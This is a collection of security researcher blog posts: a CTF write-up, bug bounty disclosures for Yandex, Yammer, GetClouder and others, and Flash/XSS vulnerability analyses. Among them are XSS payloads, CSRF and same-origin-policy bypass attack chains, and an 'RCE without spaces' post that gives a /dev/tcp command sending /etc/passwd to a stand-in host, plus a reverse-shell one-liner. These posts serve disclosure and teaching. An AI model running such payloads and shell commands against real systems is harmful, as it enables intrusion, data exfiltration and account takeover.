[CTF] 9447 CTF web200 "nicklesndimes" write-up

That was really cool challenge on 9447 CTF from Web category. Task description:

Nick's been eating your grandmother's strombomi. Head over to http://nicklesndimes-wq3mhu8l.9447.plumbing. Gain access to his admin account.

So the task is to takeover admin account with user_id = 1.

We are able to register new accounts and login (with Remember me functionality) or request for password reset. After digging a bit with password reset I noticed, that reset token is the same for my userid... and it's md5 hash for my team name ;-)

00:31 zoczus@ropchain[~]$ echo -n "zoczus" | md5sum
5580aed6ac917f2cd6fc08c9581e1ca2  -

So we can simply create password reset link for admin user this way: http://nicklesndimes-wq3mhu8l.9447.plumbing/reset_password?action=choose_password&auth_key=21232f297a57a5a743894a0e4a801fc3&id=1

And first problem - we know team name, but what's e-mail to login? Answer can be found by clicking small icon near to Users, which responds with json with scores, and near our admin account we can find additional field called admin_contact ;) Link was: http://nicklesndimes-wq3mhu8l.9447.plumbing/json?view=scoreboard

Got e-mail, got password, challenge solved... nope!

Tried X-Forwarded-for, X-Real-IP for 127.0.0.1 , 10.43.18.4 (from e-mail headers), etc... and then my team mate (thanks Dawid!) gave me idea to try this one:

00:38 zoczus@ropchain[~]$ host nicklesndimes-wq3mhu8l.9447.plumbing
nicklesndimes-wq3mhu8l.9447.plumbing has address 104.28.12.28
nicklesndimes-wq3mhu8l.9447.plumbing has address 104.28.13.28

Setting X-Forwarded-For to 104.28.13.28 gave me this result after login: 

[PL] Bypassing Same-Origin Policy - slajdy z 4Developers 2015

W poniedziałek 20.04.2015r. miałem przyjemność bycia prelegentem na konferencji 4Developers w ścieżce Security organizowanej przez SecuRing .

Slajdy z prezentacji: https://drive.google.com/file/d/0B7U6Q1zbqTkyOEY3TmRXWl8tODQ/view?usp=sharing

Nagranie będzie dostępne w przyszłości. :)

evercookie.swf - Stored Cross-Site Scripting

Today @samykamkar released new version of evercookie that fixes Stored Cross-Site Scripting issue that I reported. Here is how it works in details.

First of all - we should check vulnerable code: evercookie.as

So - the flash file takes flashVar parameter everdata and puts it to SharedObject (something like Local Storege but for Flash). If some data already was in SharedObject - it pass its value to javascript function called _evercookie_flash_var() without any checks. So the proof of concepts for this version looks simple:

http://vulnerable-hostname/evercookie.swf?everdata=f');alert('XSS');// 

After visiting this and then visiting page that embeds evercookie.swf - we'll see wonderful alert box ;-) and the best part - it's stored one.

Few weeks ago someone made pull request for fixing some issues (not security related) with QQBrowser and simply replaced getURL() function with ExternalIterface.call(). So - someone accidentally fixed old bug and created new one ;-) Here's the code: evercookie2.as

+ 2nd PoC:

http://vulnerable-hostname/evercookie.swf?everdata=f\\"))}catch(e){}alert(1);//

...and life goes on. :)

If you're using evercookie - please update to newest version. You can also check the video demonstration: https://www.youtube.com/watch?v=kWAiV6Bjm2s

yammer.com - Same Origin Method Execution

SOME ;-) time ago@BenHayak talked about Same-Origin Method Execution on BlackHat EU. At the time of posting this article, there's no public whitepaper yet (only leaked slides) - that's why I'd love to share one of first posts that show this attack in action.

Yammer.com is part of Microsoft Bug Bounty for Online Services. During some research in used Flash files I found this one: video-js.swf (source).

Take a look to this piece of code:

As far as you probably know - the ExternalInterface is ActionScript class that allows (for example) to communicate Flash object with browser’s Javascript. First parameter is function name, that we want to call. As you can see - it’s readyFunction parameter (from GET), but it’s also sanitized with cleanEIString which looks like this:

So - only chars we are able to use is alphanumeric, underscore and a dot - to prevent Cross-Site Scripting. For example - if we’ll provide readyFunction=alert - our flash file will execute alert function, but we have no control over arguments (because we can't use brackets), so it’s useless for XSS purposes.

...and here is the place where we can start talking about Same-Origin Method Execution :-) Let take evil.com, that have hyperlink to vulnerable videoplayer. After clicking to this link, it opens the flash file in new tab, and next - redirect evil.com to yammer.com (in the same tab). From now on - newly opened tab have access to previous tab by window.opener (because they are both in Same Origin - yammer.com), and it’s also able to access DOM and execute functions in context of opened yammer.com page. 

The goal is to authorize user to some malicious application without his knowledge. Attack scenario will look this way:

1. User is visiting evil PoC site

2. He/she clicks on link which -in the end - redirect user to video player with readyFunction param described later

3. We’re redirecting Poc site to our yammer.com application - all we need to know is client_id - link example here: 

https://www.yammer.com/dialog/oauth/?client_id=L6tboIyXbYdkEsoBfxA05g&display=page&redirect_uri=https%3A%2F%2Fbonus.ly%2Fauth%2Fyammer%2Fcallback&response_type=token

4. We need to wait few seconds to be 100% sure that redirect from point 3 happend (that's why I used proxy.php that sleeps and then returns 30x).

5. Flash Video Player will execute this readyFunction:

window.opener.new_message_popup.nextElementSibling.lastElementChild.firstChild.nextElementSibling.click()

...which is simply the “Allow” button + click() function :->

As you can imagine - this will cause clicking on the button and authorizing application to victim’s account, which is dangerous. :)

Proof of Concept goes here: http://ropchain.org/poc/yammer-some.html

...and demo:

CSAW CTF Web300 writeup

In this post I want to show my solution for CSAW CTF - Web300. This is the service, where we are able to post some links, that are parsed by bot, and looks like this:

There are two important things about this task. First of all, we can notice that page using jquery 1.6.1 (which prone to XSS - CVE-2011-4969) - and serving this kind of code:

The other thing is that bot is based on PhantomJS, so there's a chance, that it interprete javascript on page just like normal browser. ;)

My first shot after connecting those two facts was to exploit XSS on bot, and steal the cookies. It was correct and gave me a flag - these_browser_bots_are_annoying :-)

Pretty simple. doesn't it? :)

GetClouder domain takeover

GetClouder is cloud hosting service having bug bounty program. In Administration Panel we have some domain management tool for hosting our own domain names. After adding ANY domain - zone is configured on two DNS servers: nimbus.getclouder.com and cumulus.getclouder.com - even if we are not owner of the domain. 

If you get NS records for getclouder.com domain, you'll see that it's hosted on same servers:

zoczus@hell:~$ host -t ns getclouder.com
getclouder.com name server nimbus.getclouder.com.
getclouder.com name server cumulus.getclouder.com.

So my first try was trying to add getclouder.com domain - of course it failed. ;)

Then - I tried to search if GetClouder have any other interesting domains. Here's what I found:

In short - yes, they have other domains. One of interesting - clouder.us or getclouder.info are hosted on ns1.clev1.net and ns2.clev1.net. Now - just check the IP addresses of this servers:

zoczus@hell:~$ host ns1.clev1.net

ns1.clev1.net has address 181.224.128.6

zoczus@hell:~$ host ns2.clev1.net

ns2.clev1.net has address 198.20.77.76

zoczus@hell:~$ host nimbus.getclouder.com

nimbus.getclouder.com has address 181.224.128.6

zoczus@hell:~$ host cumulus.getclouder.com

cumulus.getclouder.com has address 198.20.77.76

So we have few other possibilities to check. I tried to add clev1.net, it failed - but adding ns1.clev1.net - not. :) Win?

Yup - it was deffinetly win. 

zoczus@hell:~$ host wow.ns1.clev1.net

wow.ns1.clev1.net has address 1.2.3.4

zoczus@hell:~$ dig +trace ns1.clev1.net

; <<>> DiG 9.8.3-P1 <<>> +trace ns1.clev1.net

;; global options: +cmd

. 85638 IN NS l.root-servers.net.

. 85638 IN NS b.root-servers.net.

. 85638 IN NS k.root-servers.net.

. 85638 IN NS j.root-servers.net.

. 85638 IN NS i.root-servers.net.

. 85638 IN NS a.root-servers.net.

. 85638 IN NS m.root-servers.net.

. 85638 IN NS h.root-servers.net.

. 85638 IN NS e.root-servers.net.

. 85638 IN NS f.root-servers.net.

. 85638 IN NS d.root-servers.net.

. 85638 IN NS c.root-servers.net.

. 85638 IN NS g.root-servers.net.

;; Received 241 bytes from 62.21.99.94#53(62.21.99.94) in 122 ms

net. 172800 IN NS d.gtld-servers.net.

net. 172800 IN NS b.gtld-servers.net.

net. 172800 IN NS g.gtld-servers.net.

net. 172800 IN NS e.gtld-servers.net.

net. 172800 IN NS k.gtld-servers.net.

net. 172800 IN NS l.gtld-servers.net.

net. 172800 IN NS i.gtld-servers.net.

net. 172800 IN NS f.gtld-servers.net.

net. 172800 IN NS j.gtld-servers.net.

net. 172800 IN NS m.gtld-servers.net.

net. 172800 IN NS h.gtld-servers.net.

net. 172800 IN NS c.gtld-servers.net.

net. 172800 IN NS a.gtld-servers.net.

;; Received 488 bytes from 202.12.27.33#53(202.12.27.33) in 132 ms

clev1.net. 172800 IN NS ns1.clev1.net.

clev1.net. 172800 IN NS ns2.clev1.net.

;; Received 95 bytes from 192.55.83.30#53(192.55.83.30) in 167 ms

ns1.clev1.net. 86400 IN A 8.8.4.4

ns1.clev1.net. 86400 IN A 8.8.8.8

ns1.clev1.net. 86400 IN NS cumulus.getclouder.com.

ns1.clev1.net. 86400 IN NS nimbus.getclouder.com.

;; Received 152 bytes from 181.224.128.6#53(181.224.128.6) in 174 ms

We have full control of ns1.clev1.net - so everyone asking for - let's say - clouder.us will got response about it's hosted on ns1.clev1.net (and ns2.clev1.net) which points to IP addresses controled by us.

The second vulnerability was ability to add root-servers.net zone. 

After adding just 3 root servers (a,b,c), pointing it to IP with DNSChef on board, and waiting few minutes this is what I got:

As GetClouder told me - it was result of one tool for checking if customer's domains are still pointed to its nameservers.

I want to thank GetClouder security team for realy fast responses and the way how they did treat me as researcher. That was one of my best bounty experiences :) 

Yandex - 2x XSS (duplicates) + Same-Origin Policy Bypass

Here are some writeups of few bugs I found in Yandex services last time.

1) Reflected XSS in http://interactive-answers.webmaster.yandex.com.

While uploading some file on http://interactive-answers.webmaster.yandex.com/gate/add-scheme/get the response would contains JSON with some informations about success or failure. The problem is the response headers:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Apr 2014 17:13:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Encoding: gzip

As you can see - it’s html document. As far, as we are able to control part of response content and it’s unescaped - it would render as normal html. That’s typical XSS. JSON contains GET filename parameter unescaped, controlled by us. The Proof of Concept would look like this:

<form method="POST" enctype="multipart/form-data" action="http://interactive-answers.webmaster.yandex.com/gate/add-scheme/get?crc=uc52c5955b971de4d17729378417f305d&filename=b<script>alert(1);</script>">
    <input type="submit">
    <input type="file" name="f"> <!-- just in case -->
</form>

Screenshot:

2) Stored XSS in Yandex Maps Constructor (http://api.yandex.ru/maps/tools/constructor/)

This one is also simple - we are just creating new map calling it with some XSS payload.

PoC Request:

POST /maps/tools/constructor/proxy.xml HTTP/1.1 Host: api.yandex.ru Connection: keep-alive Content-Length: 422 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://api.yandex.ru X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://api.yandex.ru/maps/tools/constructor/?ncrnd=9364 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2 Cookie: [my-cookies-here] key=uc52c5955b971de4d17729378417f305d&v=1.0&action=create&map=%7B%22name%22%3A%22a%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%22%2C%22sid%22%3A%22%22%2C%22size%22%3A%5B600%2C450%5D%2C%22lang%22%3A%22ru-RU%22%2C%22boundedBy%22%3A%5B%5B16.87373%2C52.38846%5D%2C%5B16.97673%2C52.4357%5D%5D%2C%22type%22%3A%22MAP%22%2C%22geoObjects%22%3A%5B%5D%2C%22styles%22%3A%7B%7D%2C%22center%22%3A%5B16.92523%2C52.41209%5D%2C%22zoom%22%3A13%7D

URL decoded map parameter looks this way:
{"name":"a<script>alert(1);</script>","sid":"","size":[600,450],"lang":"ru-RU","boundedBy":[[16.87373,52.38846],[16.97673,52.4357]],"type":"MAP","geoObjects":[],"styles":{},"center":[16.92523,52.41209],"zoom":13}

And the effect is of course alert(1):

Those two XSS were duplicates. Also as you can notice, both are unexploitable without having CSRF token (in my case: uc52c5955b971de4d17729378417f305d). That’s why I want to introduce...

3) Same-Origin Policy bypass I was working to find out how steal this token. At first I noticed, that the same CSRF token is used in multiple services (of course different tokens for different users ;)). One of places where this token appears in source code is Yandex Maps. After many days of trying to somehow get secret key - I checked crossdomain.xml. It's a special file used by Flash or Java for Same-Origin Policy purposes. Here’s how it looks for maps.yandex.com:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="master-only"/>
    <allow-access-from domain="*.yandex.ru"/>
    <allow-access-from domain="*.yandex.ua"/>
    <allow-access-from domain="*.yandex.kz"/>
    <allow-access-from domain="*.yandex.com"/>
    <allow-access-from domain="*.yandex.by"/>
    <allow-access-from domain="swf.static.yandex.net"/> 
    <allow-access-from domain="*.static.yandex.net"/> 
    <allow-access-from domain="yandex.st"/> 
    <allow-access-from domain="*.yandex.st"/>
    <allow-access-from domain="yastatic.net"/>
    <allow-access-from domain="*.yastatic.net"/>
    <allow-access-from domain="img.yandex.net"/>
    <allow-access-from domain="kraski-static.yandex.net"/> 
    <allow-access-from domain="static.music.yandex.net"/>  
    <allow-access-from domain="static.video.yandex.net"/>
    <allow-access-from domain="st.kp.yandex.net"/>
    <allow-access-from domain="*.yandex-team.ru"/>
    <allow-access-from domain="mailstatic.yandex.net"/>   
    <allow-access-from domain="*.yandex.com.tr"/>
    <allow-access-from domain="*.yandex.com"/>
</cross-domain-policy>
<!-- vim: set ts=4 sw=4 et: -->

It means, that Flash application hosted on any domain from above is able to send requests (with credentials) to http://maps.yandex.com and also gain full response content (the same that browsers renders for authenticated user). The problem was that I didn’t had possibility to upload my specially prepared SWF file to be hosted on any of this domains. After lots of research and analysis of swf files hosted on those domains, I found one interesting:


http://kraski-static.yandex.net/kraski-universal-blogplayer.swf

At the moment kraski-static.yandex.net is turned off - but full source code of this file is available here.

I find out that it uses dangerous actionscript function loadBytes() that in short allows attacker to execute own flash bytecode. :) That was great for my case, because flash is able to execute my own code and still beeing hosted from kraski-static.yandex.net (which is one of allowed domains in Yandex Maps crossdomain.xml).
After lots of source code analysis I finally understood what parameters I can control and what kind of external data I can provide to this application - so in the end the PoC for kraski-universal-blogplayer looks like this:

http://kraski-static.yandex.net/kraski-universal-blogplayer-loader.swf?baseUrl=http://kraski.yandex.ru&servantUrl=http://ropchain.org/poc/yandex&uploadUrl=http://ropchain.org/poc/yandex/&cardHash=flower017.jpg.2

Now - servantUrl determine from where data should be loaded. Application make two requests - first one:

http://ropchain.org/poc/yandex/get/jpg/flow/flower017.jpg.2_scr

...which is normal JPEG file, and after clicking Play button (and it’s only one victim’s interaction) it make request to:

http://ropchain.org/poc/yandex/get-xml/jpg/flow/flower017.jpg.2?kraski_ver=2&nocache=1397757079536

...which is XML file. As far as this service (kraski) is not working anymore, I had to determine how the XML file should looks like, to execute my own flash :) Effect:

<?xml version="1.0" encoding="UTF-8"?> <card picturesTotal="1" v="1.0"> <visual type="Picture"> <content>Q1dTDgoFAAB42l1TzW7b(........)TxP9U4ZKU=</content> </visual> </card>

The <content> node contains base64 encoded swf binary - kraski-universal-blogplayer decodes it, and loads using loader.loadBytes(). The source for my flash looks like this:

After running all - Chrome console showed me full content of maps.yandex.com:

The full attack scenario goes this way:

1. Victim visits malicious site (ropchain.org)
2. Attacker puts there <object> with kraski-universal-blogplayer 
3. Victim click on ‘play’ button.
4. Response from flash, through ExternalInterface.call() arrives to javascript console.log() on ropchain.org domain (SOP bypass)  
5. Because attacker have access to javascript in ropchain.org origin - he can parse response for CSRF token.
6. Attacker exploits both XSS issues, because now he know secret-key value :) (as far as first one is reflected XSS - it cannot be exploited on browsers that uses some Anti-XSS mechanism, but the second one works fine on all modern browsers. That is why on video I’ll show later only one alert will apear (as far as I'm Chrome user). 

The exploit is available here: https://gist.github.com/ZoczuS/9f258fb97f626a175621

Of course - it’s not the end. :) Bypassing Same-Origin Policy can be exploited in worst scenario, because mail.yandex.com have the same crossdomain.xml file. ;-) So attacker is able to read sensitive data such as: user login, user phone number, list of contacts, e-mail subjects and content. Every domain that Yandex own and have similar crossdomain.xml file - is vulnerable to this attack. In mail.yandex.com there are two interactions that victim need to do - first is accept certificate for kraski-static.yandex.net, and second is to click “Play” button.

Second exploit: https://gist.github.com/ZoczuS/c8abb829237cb178d364

And at the end - video demonstration for stealing CSRF token and user e-mails:

How Reverse DNS can help us with XSS, SQLi, RCE...

One day I got the idea to put XSS vector into reverse dns record. You know - sometimes webapplication displays IP address AND reverse lookup. As far as people think that there is no need to sanitize displayed revdns records, because as RFC1034 said:

Note that while upper and lower case letters are allowed in domain
names, no significance is attached to the case.  That is, two names with
the same spelling but different case are to be treated as if identical.

The labels must follow the rules for ARPANET host names.  They must
start with a letter, end with a letter or digit, and have as interior
characters only letters, digits, and hyphen.  There are also some
restrictions on the length.  Labels must be 63 characters or less.

...so (theoretically) there is no possibility to have hostname with dangerous characters such as > < ' " and it's XSS safe, right?

Right.

c40957:~ jakub.zoczek$ host 87.204.122.210

210.122.204.87.in-addr.arpa is an alias for 210.192/26.122.204.87.in-addr.arpa.

210.192/26.122.204.87.in-addr.arpa domain name pointer f\"><img/src=http://monitor.ropchain.org/xss.gif>f.x.32s.pl.

That's my blind xss testing IP address. All I need is to visit websites using this address and every time it will be displayed (and interpreted as html) - it should display 1x1 GIF image from my server. In apache log I'll have informations like IP address, User Agent and Referer - so I know where XSS occur.

To configure this kind of environment you will need:

- at least one IPv4 address
- possibility to configure reverse zone on own DNS server.

So - if you have VPS with some IP addresses and possibility to setup reverse dns - it won't work. In most cases configuration of reverse dns is implemented in customer's web panel and restricted to PTR records. If you have possibility to setup CNAME or NS record for your revdns - that's great and it would work. I tried to search for VPS provider who gives this kind of feature for customers and I didn't found single one.

Also - as far as I know - ISP not often want to give such delegations for only few addresses, but there is no problem for full C class or more - they give then for example delegation for all /24 prefix. In Poland - Orange can be solution - there is possibility to setup CNAME records for few addresses.

After months of searching someone who have full class and can borrow me few IP addresses and give delegation - I finally found friend of my who provided me all I need.

So - lets say you have IP address - 1.2.3.4 - the reverse zone configuration for BIND will look like this:


The 1.2.3.4 file:

As you can see - there is no big differences between normal reverse dns configuration. The most important option is check-names ignore; - it will tell BIND that we want to use illegal characters in our DNS records. :)

Problem is that in multiple languages this IP will be resolved normally (with payload), and in others - not. At the moment I checked that it works fine for Linux host, dig, nslookup, Windows nslookup, PHP dns_get_record, python reversename.from_addr(). In future I want to check all other modern languages reverse lookup implementations.

Happy hunting, and btw - check my Yandex.Metrica XSS ;-)

Analysis of swfupload CVE-2013-2205 Security.allowDomain('*') flaw

Intro

Yes - I know it's the old one. As far as I've got lots of stuff to do, I had small amount of time to take a closer look to this vulnerability, found by Szymon Gruszecki and identified by CVE-2013-2205. But I also wanted to understand how to exploit this kind of issues. As far as I couldn't find any usefull PoCs or examples on the Internet - I decided to learn it and make a post. I belive it will be usefull for someone. :)

At first, please take a look to secure swfupload fix for this vuln. Yes - it's just one removed line. :)

Security.allowDomain('*')

It will be short - for details please visit Adobe documentation. Security.allowDomain() is function, which allows flash movie to be embeded and interacted from other domain. For example, we have resource-a.com where swf-a.swf is stored (with Security.allowDomain('resource-b.com')) - we are able to embed swf-a.swf on resource-b.com and interact with all functions that are added through ExternalInterface.addCallback() method.

Depends on context of application, it can be used for example to bypass Same-Policy Origin. How? If our swf-a.swf can make some http requests to hosted resource and get the response that can be passed somehow to our javascript code... you know what's next ;-)

Analysis

Most interesting functions that we should take a look are StartUpload(), ReturnUploadStart(), HTTPError_Handler(), UploadSuccess():

UploadSuccess() is called after successful upload (wow). As we can see, it calls UploadSuccess callback (that can be defined to our own javascript function) with serverData as one of parameters - serverData is content response from requested uploadURL.

The attack

Ok - so if we are able to get content of other resource (SOP bypass), we are able to steal csrf tokens from forms. The attack scenario is simple - zoczus.mooo.com is hosting swfupload from wordpress 3.5.1 on lab.ropchain.org. After victim (logged into wp-admin panel) upload any file, we'll make request to user-new.php, parse response for nonce value, and make standard csrf attack to add other admin account. No other interaction (than file upload) is needed.

I created this proof of concept. Remember to modify wordpress-url to valid Wordpress resource.

Exploit in action:

Yandex Metrica multiple XSS vulnerabilities

Ok, some time ago I found few XSS vulnerabilities at one of Yandex services called Metrika.. Most are fixed now, so I can provide Proof Of Concepts publicly. :)

1) Reflected XSS - [somewhere]

(this one is still not fixed so - it will be disclosed in future, but it's nothing special really)

2) Stored XSS - external links

Demonstration video is quite long because I was creating PoC while recording. ;-)

http://www.youtube.com/watch?v=ZhNn0uYXpL8

3) Stored XSS - WebVisior

Visiting your website with Metrica counter in this way:

http://hostname/x.htm?<img/src="XXX"/onerror="alert(1)">ab

causes that Metrica WebVisior rendered it without escaping, which is just another stored XSS.

4) Stored XSS - file downloads

http://www.youtube.com/watch?v=4xgcjisyzK8

5) Stored XSS - Clickpath analysis

http://www.youtube.com/watch?v=SqTSoCd86Sk

6) Reflected XSS - Form Data analysis

http://www.youtube.com/watch?v=LALvffnT-vQ

7) *BONUS* out of scope (so unrewarded) reflected XSS in yandex.st.

http://yandex.st/mail/neo2/7.35.2005/static/swf/web-socket.swf?onLoad=this.alert('XSS')

Effect + source code:

And that's all for today. :)

[EN] LiveZilla multiple vulnerabilities

I was looking a bit into LiveZilla source code and found few vulnerabilities. Most of them fixed in 5.1.2.1 released few days ago. Details:


CVE-2013-7034 - LiveZilla 5.1.2.0 PHP Object Injection
CVE-2013-7033 - LiveZilla 5.1.2.0 Insecure password storage
CVE-2013-7032 - LiveZilla 5.1.2.0 Multiple Stored XSS in webbased operator client
CVE-2013-7003 - LiveZilla 5.1.1.0 Stored XSS in operator clients
CVE-2013-7002 - LiveZilla 5.1.0.0 Reflected XSS in translations

[EN] Unix RCE without spaces

You have Remote Code Execution bug - but spaces are removed. How to pass parameters in this case? And what if we can't see the result of executed command? Let's do small trick - redirecting default input / output.

Here we go:

zoczus@hell:~$ cat</etc/debian_version 
7.1

:) Can't see the output? Send it through Internet!

[host1]

zoczus@hell:~$ cat</etc/passwd>/dev/tcp/xxxx.pl/5060

[host2]

zoczus@jano:~$ nc -l -p 5060
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
(...)

It looks all right ;) You can also create reverse shell:

sh</dev/tcp/xxxx.pl/5060>/dev/tcp/xxxx.pl/2222

So now the /bin/sh input (commands) will be taken from xxxx.pl:5060 and result - sent to xxxx.pl:2222

I hope this one was useful ;)

[EN] Alcatel OneTouch Website - XSS & SQL Injection

SO - first thing is, that both bugs are really obvious...I can't belive they exist so long in official Alcatel One Touch website.

How to reproduce bug:
1) Go to http://alcatelonetouch.com website
2)  Search for bad'syntax or f<script>alert(1);</script>
3) Get alert or PHP Error (in case you're trying to exploit XSS or SQLi).

XSS:

SQLi:

I think this case is so basic, that it don't need to be explained.

Ok - now the funny part - timeline.

05/02/2013 - discovered the bug
06/02/2013 - contact using e-mail provided in WHOIS database
13/02/2013 - no response, contacted USSupport@tcl.com
11/03/2013 - mailed to Polish Alcatel-Lucent department with request of some contact info for my case
11/03/2013 - response from Alcatel-Lucent - forward me to TCL Communication
12/03/2013 - mail sent using official TCL contact form
13/03/2013 - after googlin' - found some employee working for TCL and contact info - sent mail.
29/04/2013 - no response - tried to contact using info.america@tcl.com
12/06/2013 - still no response, tried to contact with some sales managers, found on Alcatel website
28/06/2013 - Twitted @ALCATELONETOUCH about vuln and requested for contact informations
02/07/2013 - no response - another tweet.
04/07/2013 - stil no response - another tweet
08/07/2013 - ...and another ;)
09/07/2013 - everybody please, sit down - I've got first Alcatel response. It tells that I should contact using their Official Facebook.
09/07/2013 - Contacted using facebook.
10/07/2013 - Response that confirms, that informations about fact, that I found some issue in their website was sent to their "team".
10/07/2013 - Problem was, that I didn't provided any details about vulnerability, even what kind of issue it is ;) I asked if they need any details.
11/07/2013 - I sent really detailed advisory about vulnerability I found.
16/07/2013 - got response with confirmation of sharing my details with their tech team.
24/07/2013 - tried to get some other info - no response
07/08/2013 - ping -> no response.
27/09/2013 - not fixed -> Public Disclosure

Feel free to comment. :)

-- UPDATE --
At 12/11/2013 one of TCL IT Managers responsible for AlcatelOneTouch.com website contacted with me. We cooperated to fix this issues and from now on it's ok. :)

Yandex Bug Bounty - Multiple Vulnerabilities

Few weeks ago I reported few bugs as part of Yandex Bug Bounty Program. Check it out:

1) Cross-Site Flashing  - wordstat.yandex.com

Bug in ammap.swf, that allows us to use configuration files from external resources, modify Flash content and of course - abuse it. :)

This resource is removed at the moment, but here you have payload URL I used:

http://wordstat.yandex.com/flash/ammap/ammap.swf?settings_file=http://myhost/yandex.xml&data_file=http://myhost/evil_data.xml

Configuration files: yandex.xml oraz evil_data.xml

First - check the context menu and new option - 'Download users database from this region' ;)

After clicking - our "database" is prepared to download - information in bottom of site.

When progress is 100% - our payload is executed.

2) Stored XSS - Yandex Maps

I provided short PoC video:

3) Mixed-content - Yandex Video

This one wasn't rewarded and in fact - all modern browsers blocks mixed-content at the moment (also Firefox). Demonstration video just for education purposes and fun ;-)